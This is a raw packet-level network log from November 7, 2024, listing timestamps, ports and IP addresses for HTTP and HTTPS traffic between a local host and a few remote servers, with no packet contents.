Nov 7, 2024 17:25:48.608781099 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.608795881 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.608803034 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.608808994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.608822107 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.608834028 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.608834982 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.608865023 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.608891010 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.608932972 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.608946085 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.608958006 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.608968973 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.608980894 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.608985901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.608999014 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.609009981 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.609009981 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.609024048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.609035015 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.609036922 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.609056950 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.609074116 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.609077930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.609088898 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.609098911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.609112978 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.609116077 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.609126091 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.609138012 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.609154940 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.609170914 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.609178066 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.609189987 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.609189987 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.609204054 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.609215021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.609225988 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.609230995 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.609261036 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.626719952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.626765966 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.626781940 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.626812935 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.626813889 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.626827002 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.626848936 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.626877069 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.651484013 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.651509047 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.651560068 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.651571989 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.651601076 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.651623011 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.668782949 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.668797016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.668807983 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.668838024 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.668864012 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.678339005 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.678422928 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.685621977 CET	443	49998	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:48.701843977 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.701895952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.701908112 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.701920033 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.701944113 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.701976061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.701993942 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702008009 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702018976 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702029943 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702069044 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.702095032 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702106953 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702117920 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702127934 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702140093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702152014 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702218056 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.702228069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702239990 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702250004 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702261925 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702272892 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702311993 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.702353954 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702367067 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702377081 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702389002 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702400923 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702420950 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.702450037 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.702506065 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702517986 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702531099 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702541113 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702554941 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702567101 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702568054 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.702577114 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.702579021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702591896 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702601910 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702610970 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.702641010 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.702649117 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702658892 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702675104 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702686071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702696085 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702706099 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.702721119 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.702739000 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.702764034 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702775955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702785969 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702810049 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.702828884 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.702894926 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702905893 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702919006 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702930927 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702941895 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702951908 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702963114 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.702964067 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702976942 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.702994108 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.702995062 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703020096 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703032017 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703035116 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703054905 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703072071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703084946 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703095913 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703102112 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703111887 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703124046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703130960 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703136921 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703149080 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703160048 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703182936 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703190088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703238964 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703253984 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703265905 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703275919 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703303099 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703330040 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703388929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703401089 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703423023 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703440905 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703444004 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703457117 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703464985 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703468084 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703480959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703491926 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703494072 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703504086 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703515053 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703525066 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703527927 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703535080 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703541040 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703553915 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703569889 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703594923 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703648090 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703725100 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703737020 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703747034 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703759909 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703768969 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703785896 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703804016 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703846931 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703866005 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703876972 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703893900 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703900099 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703906059 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703917027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703922987 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703942060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703955889 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703980923 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.703984976 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.703996897 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704006910 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704016924 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704022884 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704030037 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704041958 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704044104 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704071045 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704082012 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704090118 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704097986 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704108953 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704118967 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704132080 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704137087 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704144955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704157114 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704166889 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704168081 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704185963 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704210997 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704327106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704339027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704356909 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704365015 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704392910 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704421997 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704435110 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704446077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704457045 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704468012 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704473019 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704490900 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704504967 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704539061 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704550982 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704560995 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704572916 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704580069 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704602003 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704627037 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704720974 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704732895 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704744101 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704755068 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704761028 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704766989 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704777956 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704780102 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704791069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704802036 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704804897 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704817057 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704823971 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704829931 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704843044 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704852104 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704853058 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704869032 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704893112 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.704986095 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.704998970 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.705010891 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.705023050 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.705034018 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.705043077 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.705045938 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.705058098 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.705063105 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.705070019 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.705080986 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.705081940 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.705101013 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.705125093 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.705888987 CET	49998	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:48.705933094 CET	443	49998	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:48.706038952 CET	49998	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:48.723856926 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.723895073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.723906994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.723934889 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.723941088 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.723947048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.723979950 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.723990917 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.724011898 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724025011 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724112988 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724123001 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.724124908 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724138975 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724150896 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724163055 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.724226952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724245071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724252939 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.724252939 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.724262953 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724276066 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724287033 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.724288940 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724308968 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.724313021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724320889 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.724329948 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724343061 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724343061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.724354982 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724360943 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.724366903 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724378109 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.724380016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724391937 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724406958 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.724421978 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.724447012 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.724469900 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724482059 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724493027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724514008 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.724514008 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.724531889 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.724586964 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724621058 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.724632025 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724643946 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.724678040 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.742072105 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.742084980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.742095947 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.742141962 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.742165089 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.742176056 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.742208004 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.766812086 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.766839981 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.766931057 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.766931057 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.766941071 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.769016981 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.784189939 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.784202099 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.784219980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.784254074 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.784265041 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.784276009 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.784281969 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.784318924 CET	49911	80	192.168.2.6	95.215.204.182
